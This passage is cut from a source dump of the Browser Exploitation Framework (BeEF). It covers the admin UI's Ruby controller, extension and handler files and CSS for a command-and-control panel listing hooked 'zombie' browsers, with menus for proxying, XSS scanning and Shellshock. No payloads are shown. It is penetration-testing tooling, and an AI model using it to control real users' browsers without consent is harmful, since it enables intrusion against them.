AdminUI module Controllers class Panel < BeEF::Extension::AdminUI::HttpController def initialize super({ 'paths' => { '/' => method(:index) } }) end # default index page def index @headers['X-Frame-Options'] = 'sameorigin' end end end end end end ================================================ FILE: extensions/admin_ui/extension.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Extension module AdminUI extend BeEF::API::Extension @full_name = 'Administration Web UI' @short_name = 'admin_ui' @description = 'Command and control web interface' end end end # Constants require 'extensions/admin_ui/constants/icons' # Classes require 'extensions/admin_ui/classes/httpcontroller' require 'extensions/admin_ui/classes/session' # Handlers require 'extensions/admin_ui/handlers/ui' # API Hooking require 'extensions/admin_ui/api/handler' ================================================ FILE: extensions/admin_ui/handlers/ui.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # # # Generic Http Handler that extensions can use to register http # controllers into the framework. # module BeEF module Extension module AdminUI module Handlers class UI # # Constructor # def initialize(klass) @klass = BeEF::Extension::AdminUI::Controllers.const_get(klass.to_s.capitalize) end def call(env) @request = Rack::Request.new(env) @response = Rack::Response.new(env) controller = @klass.new controller.run(@request, @response) @response = Rack::Response.new( body = [controller.body], status = controller.status, header = controller.headers ) end @request @response end end end end end ================================================ FILE: extensions/admin_ui/media/css/base.css ================================================ /* * Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - https://beefproject.com * See the file 'doc/COPYING' for copying permission */ #header .right-menu { width: 300px; float: right; margin: 3px 3px 0 4px; word-spacing: 5px; font: 11px arial, tahoma, verdana, helvetica; color:#000; } #header .left-menu { width: 300px; float: left; margin: 10px 4px 0 20px; word-spacing: 5px; font: 11px arial, tahoma, verdana, helvetica; font-weight: bolder; color:red; } #header a:link, #header a:visited { color:#000; text-decoration:underline; } .x-grid3-cell-inner { white-space: normal; /* changed from nowrap */ } .x-grid-empty { text-align:left; } .feed-icon { display: none; } #zombie-tree-tabs-panel .x-tab-panel-header { font: 11px tahoma,arial,helvetica,sans-serif; padding: 0 0 0 0; border-bottom: none; text-align: center; } /* * Status bar ****************************************/ .x-statusbar .x-status-busy, .x-statusbar .x-status-error, .x-statusbar .x-status-valid { background: transparent no-repeat 3px 2px; padding-left: 25px !important; padding-bottom: 2px !important; } .x-statusbar .x-status-busy { background-image: url(../images/statusbar/loading.gif); } .x-statusbar .x-status-error { color: #C33; background-image: url(../images/statusbar/exclamation.gif); } .x-statusbar .x-status-valid { background-image: url(../images/statusbar/accept.png); } /* * Zombie Tree ****************************************/ .x-tree-node-leaf .x-tree-node-icon { width: 13px; height: 13px; padding-left: 3px; padding-top: 3px; } /* * Zombie Tree Icons ****************************************/ .zombie-tree-icon { padding-left: 3px; padding-top: 3px; width: 13px; height: 13px; border: 0; } /* these aren't used at the moment, but should be used rather than img tags */ .zombie-tree-icon-browser-ff { background-image: url(../images/icons/firefox.png) no-repeat; } .zombie-tree-icon-browser-ie { background-image: url(../images/icons/msie.png) no-repeat; } .zombie-tree-icon-browser-e { background-image: url(../images/icons/edge.png) no-repeat; } .zombie-tree-icon-browser-ep { background-image: url(../images/icons/epiphany.png) no-repeat; } .zombie-tree-icon-browser-s { background-image: url(../images/icons/safari.png) no-repeat; } .zombie-tree-icon-browser-c { background-image: url(../images/icons/chrome.png) no-repeat; } .zombie-tree-icon-browser-o { background-image: url(../images/icons/opera.ico) no-repeat; } .zombie-tree-icon-browser-mi { background-image: url(../images/icons/midori.png) no-repeat; } .zombie-tree-icon-browser-od { background-image: url(../images/icons/odyssey.png) no-repeat; } .zombie-tree-icon-browser-br { background-image: url(../images/icons/brave.png) no-repeat; } .zombie-tree-icon-browser-unknown { background-image: url(../images/icons/unknown.png) no-repeat; } /* * Zombie Tree Context Menu ****************************************/ .zombie-tree-ctxMenu-proxy { background-image: url(../images/icons/proxy.gif); } .zombie-tree-ctxMenu-xssrays { background-image: url(../images/icons/xssrays.png); } .zombie-tree-ctxMenu-rtc { background-image: url(../images/icons/network.png); background-size: 24px 24px; background-repeat: no-repeat; } .zombie-tree-ctxMenu-delete { background-image: url(../images/icons/delete.png); background-size: 32px 32px; background-repeat: no-repeat; } /* * Network Panel ****************************************/ .network-host-ctxMenu-config { background-image: url(../images/icons/tools.png); background-size: 16px 16px; background-repeat: no-repeat; } .network-host-ctxMenu-host { background-image: url(../images/icons/pc.png); background-size: 16px 16px; background-repeat: no-repeat; } .network-host-ctxMenu-network { background-image: url(../images/icons/network.png); background-size: 16px 16px; background-repeat: no-repeat; } .network-host-ctxMenu-web { background-image: url(../images/icons/web.png); background-size: 16px 16px; background-repeat: no-repeat; } .network-host-ctxMenu-adapter { background-image: url(../images/icons/adapter.png); background-size: 16px 16px; background-repeat: no-repeat; } .network-host-ctxMenu-router { background-image: url(../images/icons/router.png); background-size: 16px 16px; background-repeat: no-repeat; } .network-host-ctxMenu-proxy { background-image: url(../images/icons/proxy.png); background-size: 16px 16px; background-repeat: no-repeat; } .network-host-ctxMenu-fingerprint { background-image: url(../images/icons/magnifier.png); background-size: 16px 16px; background-repeat: no-repeat; } .network-host-ctxMenu-cors { background-image: url(../images/icons/cors.png); background-size: 16px 16px; background-repeat: no-repeat; } .network-host-ctxMenu-flash { background-image: url(../images/icons/flash.png); background-size: 16px 16px; background-repeat: no-repeat; } .network-host-ctxMenu-shellshock { background-image: url(../images/icons/shellshock.png); background-size: 16px 16px; background-repeat: no-repeat; } .network-host-ctxMenu-php { background-image: url(../images/icons/php.png); background-size: 16px 16px; background-repeat: no-repeat; } /* * Ext.beef.msg ****************************************/ .msg .x-box-mc { font-size:14px; } #msg-div { position:absolute; left:35%; top:20px; width:250px; z-index:20000; } /* * Exploit Panel ****************************************/ .x-form-item-label, .x-form-element { font: 11px tahoma,arial,helvetica,sans-serif; } .command-module-panel-description { margin-bottom: 10px; padding-top: 4px; } label { font: 11px tahoma,arial,helvetica,sans-serif; } ================================================ FILE: extensions/admin_ui/media/css/ext-all.css ================================================ /* * Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - https://beefproject.com * See the file 'doc/COPYING' for copying permission */ /*! * Ext JS Library 3.3.1 * Copyright(c) 2006-2010 Sencha Inc. * licensing@sencha.com * http://www.sencha.com/license */ html,body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,form,fieldset,input,p,blockquote,th,td{margin:0;padding:0;}img,body,html{border:0;}address,caption,cite,code,dfn,em,strong,th,var{font-style:normal;font-weight:normal;}ol,ul {list-style:none;}caption,th {text-align:left;}h1,h2,h3,h4,h5,h6{font-size:100%;}q:before,q:after{content:'';} .ext-forced-border-box, .ext-forced-border-box * { -moz-box-sizing: border-box; -ms-box-sizing: border-box; -webkit-box-sizing: border-box; } .ext-el-mask { z-index: 100; position: absolute; top:0; left:0; -moz-opacity: 0.5; opacity: .50; filter: alpha(opacity=50); width: 100%; height: 100%; zoom: 1; } .ext-el-mask-msg { z-index: 20001; position: absolute; top: 0; left: 0; border:1px solid; background:repeat-x 0 -16px; padding:2px; } .ext-el-mask-msg div { padding:5px 10px 5px 10px; border:1px solid; cursor:wait; } .ext-shim { position:absolute; visibility:hidden; left:0; top:0; overflow:hidden; } .ext-ie .ext-shim { filter: alpha(opacity=0); } .ext-ie6 .ext-shim { margin-left: 5px; margin-top: 3px; } .x-mask-loading div { padding:5px 10px 5px 25px; background:no-repeat 5px 5px; line-height:16px; } /* class for hiding elements without using display:none */ .x-hidden, .x-hide-offsets { position:absolute !important; left:-10000px; top:-10000px; visibility:hidden; } .x-hide-display { display:none !important; } .x-hide-nosize, .x-hide-nosize * /* Emulate display:none for children */ { height:0px!important; width:0px!important; visibility:hidden!important; border:none!important; zoom:1; } .x-hide-visibility { visibility:hidden !important; } .x-masked { overflow: hidden !important; } .x-masked-relative { position: relative !important; } .x-masked select, .x-masked object, .x-masked embed { visibility: hidden; } .x-layer { visibility: hidden; } .x-unselectable, .x-unselectable * { -moz-user-select: none; -khtml-user-select: none; -webkit-user-select:ignore; } .x-repaint { zoom: 1; background-color: transparent; -moz-outline: none; outline: none; } .x-item-disabled { cursor: default; opacity: .6; -moz-opacity: .6; filter: alpha(opacity=60); } .x-item-disabled * { cursor: default !important; } .x-form-radio-group .x-item-disabled { filter: none; } .x-splitbar-proxy { position: absolute; visibility: hidden; z-index: 20001; zoom: 1; line-height: 1px; font-size: 1px; overflow: hidden; } .x-splitbar-h, .x-splitbar-proxy-h { cursor: e-resize; cursor: col-resize; } .x-splitbar-v, .x-splitbar-proxy-v { cursor: s-resize; cursor: row-resize; } .x-color-palette { width: 150px; height: 92px; cursor: pointer; } .x-color-palette a { border: 1px solid; float: left; padding: 2px; text-decoration: none; -moz-outline: 0 none; outline: 0 none; cursor: pointer; } .x-color-palette a:hover, .x-color-palette a.x-color-palette-sel { border: 1px solid; } .x-color-palette em { display: block; border: 1px solid; } .x-color-palette em span { cursor: pointer; display: block; height: 10px; line-height: 10px; width: 10px; } .x-ie-shadow { display: none; position: absolute; overflow: hidden; left:0; top:0; zoom:1; } .x-shadow { display: none; position: absolute; overflow: hidden; left:0; top:0; } .x-shadow * { overflow: hidden; } .x-shadow * { padding: 0; border: 0; margin: 0; clear: none; zoom: 1; } /* top bottom */ .x-shadow .xstc, .x-shadow .xsbc { height: 6px; float: left; } /* corners */ .x-shadow .xstl, .x-shadow .xstr, .x-shadow .xsbl, .x-shadow .xsbr { width: 6px; height: 6px; float: left; } /* sides */ .x-shadow .xsc { width: 100%; } .x-shadow .xsml, .x-shadow .xsmr { width: 6px; float: left; height: 100%; } .x-shadow .xsmc { float: left; height: 100%; background-color: transparent; } .x-shadow .xst, .x-shadow .xsb { height: 6px; overflow: hidden; width: 100%; } .x-shadow .xsml { background: transparent repeat-y 0 0; } .x-shadow .xsmr { background: transparent repeat-y -6px 0; } .x-shadow .xstl { background: transparent no-repeat 0 0; } .x-shadow .xstc { background: transparent repeat-x 0 -30px; } .x-shadow .xstr { background: transparent repeat-x 0 -18px; } .x-shadow .xsbl { background: transparent no-repeat 0 -12px; } .x-shadow .xsbc { background: transparent repeat-x 0 -36px; } .x-shadow .xsbr { background: transparent repeat-x 0 -6px; } .loading-indicator { background: no-repeat left; padding-left: 20px; line-height: 16px; margin: 3px; } .x-text-resize { position: absolute; left: -1000px; top: -1000px; visibility: hidden; zoom: 1; } .x-drag-overlay { width: 100%; height: 100%; display: none; position: absolute; left: 0; top: 0; background-image:url(../images/default/s.gif); z-index: 20000; } .x-clear { clear:both; height:0; overflow:hidden; line-height:0; font-size:0; } .x-spotlight { z-index: 8999; position: absolute; top:0; left:0; -moz-opacity: 0.5; opacity: .50; filter: alpha(opacity=50); width:0; height:0; zoom: 1; } #x-history-frame { position:absolute; top:-1px; left:0; width:1px; height:1px; visibility:hidden; } #x-history-field { position:absolute; top:0; left:-1px; width:1px; height:1px; visibility:hidden; } .x-resizable-handle { position:absolute; z-index:100; /* ie needs these */ font-size:1px; line-height:6px; overflow:hidden; filter:alpha(opacity=0); opacity:0; zoom:1; } .x-resizable-handle-east{ width:6px; cursor:e-resize; right:0; top:0; height:100%; } .ext-ie .x-resizable-handle-east { margin-right:-1px; /*IE rounding error*/ } .x-resizable-handle-south{ width:100%; cursor:s-resize; left:0; bottom:0; height:6px; } .ext-ie .x-resizable-handle-south { margin-bottom:-1px; /*IE rounding error*/ } .x-resizable-handle-west{ width:6px; cursor:w-resize; left:0; top:0; height:100%; } .x-resizable-handle-north{ width:100%; cursor:n-resize; left:0; top:0; height:6px; } .x-resizable-handle-southeast{ width:6px; cursor:se-resize; right:0; bottom:0; height:6px; z-index:101; } .x-resizable-handle-northwest{ width:6px; cursor:nw-resize; left:0; top:0; height:6px; z-index:101; } .x-resizable-handle-northeast{ width:6px; cursor:ne-resize; right:0; top:0; height:6px; z-index:101; } .x-resizable-handle-southwest{ width:6px; cursor:sw-resize; left:0; bottom:0; height:6px; z-index:101; } .x-resizable-over .x-resizable-handle, .x-resizable-pinned .x-resizable-handle{ filter:alpha(opacity=100); opacity:1; } .x-resizable-over .x-resizable-handle-east, .x-resizable-pinned .x-resizable-handle-east, .x-resizable-over .x-resizable-handle-west, .x-resizable-pinned .x-resizable-handle-west { background-position: left; } .x-resizable-over .x-resizable-handle-south, .x-resizable-pinned .x-resizable-handle-south, .x-resizable-over .x-resizable-handle-north, .x-resizable-pinned .x-resizable-handle-north { background-position: top; } .x-resizable-over .x-resizable-handle-southeast, .x-resizable-pinned .x-resizable-handle-southeast{ background-position: top left; } .x-resizable-over .x-resizable-handle-northwest, .x-resizable-pinned .x-resizable-handle-northwest{ background-position:bottom right; } .x-resizable-over .x-resizable-handle-northeast, .x-resizable-pinned .x-resizable-handle-northeast{ background-position: bottom left; } .x-resizable-over .x-resizable-handle-southwest, .x-resizable-pinned .x-resizable-handle-southwest{ background-position: top right; } .x-resizable-proxy{ border: 1px dashed; position:absolute; overflow:hidden; display:none; left:0; top:0; z-index:50000; } .x-resizable-overlay{ width:100%; height:100%; display:none; position:absolute; left:0; top:0; z-index:200000; -moz-opacity: 0; opacity:0; filter: alpha(opacity=0); } .x-tab-panel { overflow:hidden; } .x-tab-panel-header, .x-tab-panel-footer { border: 1px solid; overflow:hidden; zoom:1; } .x-tab-panel-header { border: 1px solid; padding-bottom: 2px; } .x-tab-panel-footer { border: 1px solid; padding-top: 2px; } .x-tab-strip-wrap { width:100%; overflow:hidden; position:relative; zoom:1; } ul.x-tab-strip { display:block; width:5000px; zoom:1; } ul.x-tab-strip-top{ padding-top: 1px; background: repeat-x bottom; border-bottom: 1px solid; } ul.x-tab-strip-bottom{ padding-bottom: 1px; background: repeat-x top; border-top: 1px solid; border-bottom: 0 none; } .x-tab-panel-header-plain .x-tab-strip-top { background:transparent !important; padding-top:0 !important; } .x-tab-panel-header-plain { background:transparent !important; border-width:0 !important; padding-bottom:0 !important; } .x-tab-panel-header-plain .x-tab-strip-spacer, .x-tab-panel-footer-plain .x-tab-strip-spacer { border:1px solid; height:2px; font-size:1px; line-height:1px; } .x-tab-panel-header-plain .x-tab-strip-spacer { border-top: 0 none; } .x-tab-panel-footer-plain .x-tab-strip-spacer { border-bottom: 0 none; } .x-tab-panel-footer-plain .x-tab-strip-bottom { background:transparent !important; padding-bottom:0 !important; } .x-tab-panel-footer-plain { background:transparent !important; border-width:0 !important; padding-top:0 !important; } .ext-border-box .x-tab-panel-header-plain .x-tab-strip-spacer, .ext-border-box .x-tab-panel-footer-plain .x-tab-strip-spacer { height:3px; } ul.x-tab-strip li { float:left; margin-left:2px; } ul.x-tab-strip li.x-tab-edge { float:left; margin:0 !important; padding:0 !important; border:0 none !important; font-size:1px !important; line-height:1px !important; overflow:hidden; zoom:1; background:transparent !important; width:1px; } .x-tab-strip a, .x-tab-strip span, .x-tab-strip em { display:block; } .x-tab-strip a { text-decoration:none !important; -moz-outline: none; outline: none; cursor:pointer; } .x-tab-strip-inner { overflow:hidden; text-overflow: ellipsis; } .x-tab-strip span.x-tab-strip-text { white-space: nowrap; cursor:pointer; padding:4px 0; } .x-tab-strip-top .x-tab-with-icon .x-tab-right { padding-left:6px; } .x-tab-strip .x-tab-with-icon span.x-tab-strip-text { padding-left:20px; background-position: 0 3px; background-repeat: no-repeat; } .x-tab-strip-active, .x-tab-strip-active a.x-tab-right { cursor:default; } .x-tab-strip-active span.x-tab-strip-text { cursor:default; } .x-tab-strip-disabled .x-tabs-text { cursor:default; } .x-tab-panel-body { overflow:hidden; } .x-tab-panel-bwrap { overflow:hidden; } .ext-ie .x-tab-strip .x-tab-right { position:relative; } .x-tab-strip-top .x-tab-strip-active .x-tab-right { margin-bottom:-1px; } /* * Horrible hack for IE8 in quirks mode */ .ext-ie8 .x-tab-strip li { position: relative; } .ext-border-box .ext-ie8 .x-tab-strip-top .x-tab-right { top: 1px; } .ext-ie8 .x-tab-strip-top { padding-top: 1; } .ext-border-box .ext-ie8 .x-tab-strip-top { padding-top: 0; } .ext-ie8 .x-tab-strip .x-tab-strip-closable a.x-tab-strip-close { top:3px; } .ext-border-box .ext-ie8 .x-tab-strip .x-tab-strip-closable a.x-tab-strip-close { top:4px; } .ext-ie8 .x-tab-strip-bottom .x-tab-right{ top:0; } .x-tab-strip-top .x-tab-strip-active .x-tab-right span.x-tab-strip-text { padding-bottom:5px; } .x-tab-strip-bottom .x-tab-strip-active .x-tab-right { margin-top:-1px; } .x-tab-strip-bottom .x-tab-strip-active .x-tab-right span.x-tab-strip-text { padding-top:5px; } .x-tab-strip-top .x-tab-right { background: transparent no-repeat 0 -51px; padding-left:10px; } .x-tab-strip-top .x-tab-left { background: transparent no-repeat right -351px; padding-right:10px; } .x-tab-strip-top .x-tab-strip-inner { background: transparent repeat-x 0 -201px; } .x-tab-strip-top .x-tab-strip-over .x-tab-right { background-position:0 -101px; } .x-tab-strip-top .x-tab-strip-over .x-tab-left { background-position:right -401px; } .x-tab-strip-top .x-tab-strip-over .x-tab-strip-inner { background-position:0 -251px; } .x-tab-strip-top .x-tab-strip-active .x-tab-right { background-position: 0 0; } .x-tab-strip-top .x-tab-strip-active .x-tab-left { background-position: right -301px; } .x-tab-strip-top .x-tab-strip-active .x-tab-strip-inner { background-position: 0 -151px; } .x-tab-strip-bottom .x-tab-right { background: no-repeat bottom right; } .x-tab-strip-bottom .x-tab-left { background: no-repeat bottom left; } .x-tab-strip-bottom .x-tab-strip-active .x-tab-right { background: no-repeat bottom right; } .x-tab-strip-bottom .x-tab-strip-active .x-tab-left { background: no-repeat bottom left; } .x-tab-strip-bottom .x-tab-left { margin-right: 3px; padding:0 10px; } .x-tab-strip-bottom .x-tab-right { padding:0; } .x-tab-strip .x-tab-strip-close { display:none; } .x-tab-strip-closable { position:relative; } .x-tab-strip-closable .x-tab-left { padding-right:19px; } .x-tab-strip .x-tab-strip-closable a.x-tab-strip-close { opacity:.6; -moz-opacity:.6; background-repeat:no-repeat; display:block; width:11px; height:11px; position:absolute; top:3px; right:3px; cursor:pointer; z-index:2; } .x-tab-strip .x-tab-strip-active a.x-tab-strip-close { opacity:.8; -moz-opacity:.8; } .x-tab-strip .x-tab-strip-closable a.x-tab-strip-close:hover{ opacity:1; -moz-opacity:1; } .x-tab-panel-body { border: 1px solid; } .x-tab-panel-body-top { border-top: 0 none; } .x-tab-panel-body-bottom { border-bottom: 0 none; } .x-tab-scroller-left { background: transparent no-repeat -18px 0; border-bottom: 1px solid; width:18px; position:absolute; left:0; top:0; z-index:10; cursor:pointer; } .x-tab-scroller-left-over { background-position: 0 0; } .x-tab-scroller-left-disabled { background-position: -18px 0; opacity:.5; -moz-opacity:.5; filter:alpha(opacity=50); cursor:default; } .x-tab-scroller-right { background: transparent no-repeat 0 0; border-bottom: 1px solid; width:18px; position:absolute; right:0; top:0; z-index:10; cursor:pointer; } .x-tab-scroller-right-over { background-position: -18px 0; } .x-tab-scroller-right-disabled { background-position: 0 0; opacity:.5; -moz-opacity:.5; filter:alpha(opacity=50); cursor:default; } .x-tab-scrolling-bottom .x-tab-scroller-left, .x-tab-scrolling-bottom .x-tab-scroller-right{ margin-top: 1px; } .x-tab-scrolling .x-tab-strip-wrap { margin-left:18px; margin-right:18px; } .x-tab-scrolling { position:relative; } .x-tab-panel-bbar .x-toolbar { border:1px solid; border-top:0 none; overflow:hidden; padding:2px; } .x-tab-panel-tbar .x-toolbar { border:1px solid; border-top:0 none; overflow:hidden; padding:2px; }/* all fields */ .x-form-field{ margin: 0 0 0 0; } .ext-webkit *:focus{ outline: none !important; } /* ---- text fields ---- */ .x-form-text, textarea.x-form-field{ padding:1px 3px; background:repeat-x 0 0; border:1px solid; } textarea.x-form-field { padding:2px 3px; } .x-form-text, .ext-ie .x-form-file { height:22px; line-height:18px; vertical-align:middle; } .ext-ie6 .x-form-text, .ext-ie7 .x-form-text { margin:-1px 0; /* ie bogus margin bug */ height:22px; /* ie quirks */ line-height:18px; } .ext-ie6 .x-form-field-wrap .x-form-file-btn, .ext-ie7 .x-form-field-wrap .x-form-file-btn { top: -1px; /* because of all these margin hacks, these buttons are off by one pixel in IE6,7 */ } .ext-ie6 textarea.x-form-field, .ext-ie7 textarea.x-form-field { margin:-1px 0; /* ie bogus margin bug */ } .ext-strict .x-form-text { height:18px; } .ext-safari.ext-mac textarea.x-form-field { margin-bottom:-2px; /* another bogus margin bug, safari/mac only */ } /* .ext-strict .ext-ie8 .x-form-text, .ext-strict .ext-ie8 textarea.x-form-field { margin-bottom: 1px; } */ .ext-gecko .x-form-text , .ext-ie8 .x-form-text { padding-top:2px; /* FF won't center the text vertically */ padding-bottom:0; } .ext-ie6 .x-form-composite .x-form-text.x-box-item, .ext-ie7 .x-form-composite .x-form-text.x-box-item { margin: 0 !important; /* clear ie bogus margin bug fix */ } textarea { resize: none; /* Disable browser resizable textarea */ } /* select boxes */ .x-form-select-one { height:20px; line-height:18px; vertical-align:middle; border: 1px solid; } /* multi select boxes */ /* --- TODO --- */ /* 2.0.2 style */ .x-form-check-wrap { line-height:18px; height: auto; } .ext-ie .x-form-check-wrap input { width:15px; height:15px; } .x-form-check-wrap input{ vertical-align: bottom; } .x-editor .x-form-check-wrap { padding:3px; } .x-editor .x-form-checkbox { height:13px; } .x-form-check-group-label { border-bottom: 1px solid; margin-bottom: 5px; padding-left: 3px !important; float: none !important; } /* wrapped fields and triggers */ .x-form-field-wrap .x-form-trigger{ width:17px; height:21px; border:0; background:transparent no-repeat 0 0; cursor:pointer; border-bottom: 1px solid; position:absolute; top:0; } .x-form-field-wrap .x-form-date-trigger, .x-form-field-wrap .x-form-clear-trigger, .x-form-field-wrap .x-form-search-trigger{ cursor:pointer; } .x-form-field-wrap .x-form-twin-triggers .x-form-trigger{ position:static; top:auto; vertical-align:top; } .x-form-field-wrap { position:relative; left:0;top:0; text-align: left; zoom:1; white-space: nowrap; } .ext-strict .ext-ie8 .x-toolbar-cell .x-form-field-trigger-wrap .x-form-trigger { right: 0; /* IE8 Strict mode trigger bug */ } .x-form-field-wrap .x-form-trigger-over{ background-position:-17px 0; } .x-form-field-wrap .x-form-trigger-click{ background-position:-34px 0; } .x-trigger-wrap-focus .x-form-trigger{ background-position:-51px 0; } .x-trigger-wrap-focus .x-form-trigger-over{ background-position:-68px 0; } .x-trigger-wrap-focus .x-form-trigger-click{ background-position:-85px 0; } .x-trigger-wrap-focus .x-form-trigger{ border-bottom: 1px solid; } .x-item-disabled .x-form-trigger-over{ background-position:0 0 !important; border-bottom: 1px solid; } .x-item-disabled .x-form-trigger-click{ background-position:0 0 !important; border-bottom: 1px solid; } .x-trigger-noedit{ cursor:pointer; } /* field focus style */ .x-form-focus, textarea.x-form-focus{ border: 1px solid; } /* invalid fields */ .x-form-invalid, textarea.x-form-invalid{ background:repeat-x bottom; border: 1px solid; } .x-form-inner-invalid, textarea.x-form-inner-invalid{ background:repeat-x bottom; } /* editors */ .x-editor { visibility:hidden; padding:0; margin:0; } .x-form-grow-sizer { left: -10000px; padding: 8px 3px; position: absolute; visibility:hidden; top: -10000px; white-space: pre-wrap; white-space: -moz-pre-wrap; white-space: -pre-wrap; white-space: -o-pre-wrap; word-wrap: break-word; zoom:1; } .x-form-grow-sizer p { margin:0 !important; border:0 none !important; padding:0 !important; } /* Form Items CSS */ .x-form-item { display:block; margin-bottom:4px; zoom:1; } .x-form-item label.x-form-item-label { display:block; float:left; width:100px; padding:3px; padding-left:0; clear:left; z-index:2; position:relative; } .x-form-element { padding-left:105px; position:relative; } .x-form-invalid-msg { padding:2px; padding-left:18px; background: transparent no-repeat 0 2px; line-height:16px; width:200px; } .x-form-label-left label.x-form-item-label { text-align:left; } .x-form-label-right label.x-form-item-label { text-align:right; } .x-form-label-top .x-form-item label.x-form-item-label { width:auto; float:none; clear:none; display:inline; margin-bottom:4px; position:static; } .x-form-label-top .x-form-element { padding-left:0; padding-top:4px; } .x-form-label-top .x-form-item { padding-bottom:4px; } /* Editor small font for grid, toolbar and tree */ .x-small-editor .x-form-text { height:20px; line-height:16px; vertical-align:middle; } .ext-ie6 .x-small-editor .x-form-text, .ext-ie7 .x-small-editor .x-form-text { margin-top:-1px !important; /* ie bogus margin bug */ margin-bottom:-1px !important; height:20px !important; /* ie quirks */ line-height:16px !important; } .ext-strict .x-small-editor .x-form-text { height:16px !important; } .ext-ie6 .x-small-editor .x-form-text, .ext-ie7 .x-small-editor .x-form-text { height:20px; line-height:16px; } .ext-border-box .x-small-editor .x-form-text { height:20px; } .x-small-editor .x-form-select-one { height:20px; line-height:16px; vertical-align:middle; } .x-small-editor .x-form-num-field { text-align:right; } .x-small-editor .x-form-field-wrap .x-form-trigger{ height:19px; } .ext-webkit .x-small-editor .x-form-text{padding-top:3px;font-size:100%;} .x-form-clear { clear:both; height:0; overflow:hidden; line-height:0; font-size:0; } .x-form-clear-left { clear:left; height:0; overflow:hidden; line-height:0; font-size:0; } .ext-ie6 .x-form-check-wrap input, .ext-border-box .x-form-check-wrap input{ margin-top: 3px; } .x-form-cb-label { position: relative; margin-left:4px; top: 2px; } .ext-ie .x-form-cb-label{ top: 1px; } .ext-ie6 .x-form-cb-label, .ext-border-box .x-form-cb-label{ top: 3px; } .x-form-display-field{ padding-top: 2px; } .ext-gecko .x-form-display-field, .ext-strict .ext-ie7 .x-form-display-field{ padding-top: 1px; } .ext-ie .x-form-display-field{ padding-top: 3px; } .ext-strict .ext-ie8 .x-form-display-field{ padding-top: 0; } .x-form-column { float:left; padding:0; margin:0; width:48%; overflow:hidden; zoom:1; } /* buttons */ .x-form .x-form-btns-ct .x-btn{ float:right; clear:none; } .x-form .x-form-btns-ct .x-form-btns td { border:0; padding:0; } .x-form .x-form-btns-ct .x-form-btns-right table{ float:right; clear:none; } .x-form .x-form-btns-ct .x-form-btns-left table{ float:left; clear:none; } .x-form .x-form-btns-ct .x-form-btns-center{ text-align:center; /*ie*/ } .x-form .x-form-btns-ct .x-form-btns-center table{ margin:0 auto; /*everyone else*/ } .x-form .x-form-btns-ct table td.x-form-btn-td{ padding:3px; } .x-form .x-form-btns-ct .x-btn-focus .x-btn-left{ background-position:0 -147px; } .x-form .x-form-btns-ct .x-btn-focus .x-btn-right{ background-position:0 -168px; } .x-form .x-form-btns-ct .x-btn-focus .x-btn-center{ background-position:0 -189px; } .x-form .x-form-btns-ct .x-btn-click .x-btn-center{ background-position:0 -126px; } .x-form .x-form-btns-ct .x-btn-click .x-btn-right{ background-position:0 -84px; } .x-form .x-form-btns-ct .x-btn-click .x-btn-left{ background-position:0 -63px; } .x-form-invalid-icon { width:16px; height:18px; visibility:hidden; position:absolute; left:0; top:0; display:block; background:transparent no-repeat 0 2px; } /* fieldsets */ .x-fieldset { border:1px solid; padding:10px; margin-bottom:10px; display:block; /* preserve margins in IE */ } /* make top of checkbox/tools visible in webkit */ .ext-webkit .x-fieldset-header { padding-top: 1px; } .ext-ie .x-fieldset legend { margin-bottom:10px; } .ext-ie .x-fieldset { padding-top: 0; padding-bottom:10px; } .x-fieldset legend .x-tool-toggle { margin-right:3px; margin-left:0; float:left !important; } .x-fieldset legend input { margin-right:3px; float:left !important; height:13px; width:13px; } fieldset.x-panel-collapsed { padding-bottom:0 !important; border-width: 1px 1px 0 1px !important; border-left-color: transparent; border-right-color: transparent; } .ext-ie6 fieldset.x-panel-collapsed{ padding-bottom:0 !important; border-width: 1px 0 0 0 !important; margin-left: 1px; margin-right: 1px; } fieldset.x-panel-collapsed .x-fieldset-bwrap { visibility:hidden; position:absolute; left:-1000px; top:-1000px; } .ext-ie .x-fieldset-bwrap { zoom:1; } .x-fieldset-noborder { border:0px none transparent; } .x-fieldset-noborder legend { margin-left:-3px; } /* IE legend positioning bug */ .ext-ie .x-fieldset-noborder legend { position: relative; margin-bottom:23px; } .ext-ie .x-fieldset-noborder legend span { position: absolute; left:16px; } .ext-gecko .x-window-body .x-form-item { -moz-outline: none; outline: none; overflow: auto; } .ext-mac.ext-gecko .x-window-body .x-form-item { overflow:hidden; } .ext-gecko .x-form-item { -moz-outline: none; outline: none; } .x-hide-label label.x-form-item-label { display:none; } .x-hide-label .x-form-element { padding-left: 0 !important; } .x-form-label-top .x-hide-label label.x-form-item-label{ display: none; } .x-fieldset { overflow:hidden; } .x-fieldset-bwrap { overflow:hidden; zoom:1; } .x-fieldset-body { overflow:hidden; } .x-btn{ cursor:pointer; white-space: nowrap; } .x-btn button{ border:0 none; background-color:transparent; padding-left:3px; padding-right:3px; cursor:pointer; margin:0; overflow:visible; width:auto; -moz-outline:0 none; outline:0 none; } * html .ext-ie .x-btn button { width:1px; } .ext-gecko .x-btn button, .ext-webkit .x-btn button { padding-left:0; padding-right:0; } .ext-gecko .x-btn button::-moz-focus-inner { padding:0; } .ext-ie .x-btn button { padding-top:2px; } .x-btn td { padding:0 !important; } .x-btn-text { cursor:pointer; white-space: nowrap; padding:0; } /* icon placement and sizing styles */ /* Only text */ .x-btn-noicon .x-btn-small .x-btn-text{ height: 16px; } .x-btn-noicon .x-btn-medium .x-btn-text{ height: 24px; } .x-btn-noicon .x-btn-large .x-btn-text{ height: 32px; } /* Only icons */ .x-btn-icon .x-btn-text{ background-position: center; background-repeat: no-repeat; } .x-btn-icon .x-btn-small .x-btn-text{ height: 16px; width: 16px; } .x-btn-icon .x-btn-medium .x-btn-text{ height: 24px; width: 24px; } .x-btn-icon .x-btn-large .x-btn-text{ height: 32px; width: 32px; } /* Icons and text */ /* left */ .x-btn-text-icon .x-btn-icon-small-left .x-btn-text{ background-position: 0 center; background-repeat: no-repeat; padding-left:18px; height:16px; } .x-btn-text-icon 